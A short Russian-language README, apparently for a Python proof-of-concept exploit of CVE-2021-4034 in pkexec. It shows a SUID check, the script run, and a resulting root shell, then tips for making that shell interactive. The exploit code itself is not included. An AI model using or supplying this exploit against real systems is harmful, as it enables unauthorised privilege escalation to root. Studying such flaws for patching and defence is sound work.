
Эксплойт-доказательство концепции на Python для CVE-2021-4034, который злоупотребляет SUID-бинарником pkexec для повышения привилегий и запуска интерактивной root-оболочки без учетных данных.
CVE-2021-4034 (pkexec) Использование этого скрипта на Python использует уязвимость в файле pkexec для получения доступа к root без ввода учетных данных.
· Обнаруживает, имеет ли бинарный файл привилегии SUID, в этом случае он уязвим
usuario@gatogamer $ ls -la /usr/bin/pkexec
.rwsr-xr-x 1 root root /usr/bin/pkexec
usuario@gatogamer $
· Запускает эксплойт для получения доступа к root, в этом случае достаточно выполнить его с помощью python3, после завершения вы получите консоль с правами root
usuario@gatogamer $ python3 CVE-2021-4034.py
[+] Iniciando el exploit
[+] Exploit Completado
# whoami
root
#
· В дополнение, вы можете изменить значение TERM, например на 'xterm' или 'xterm-256color' для лучшей эстетики, а также запустить другую оболочку, такую как 'bash' или 'zsh', теперь у нас есть полностью интерактивная консоль
# export TERM=xterm-256color
# zsh
root@gatogamer $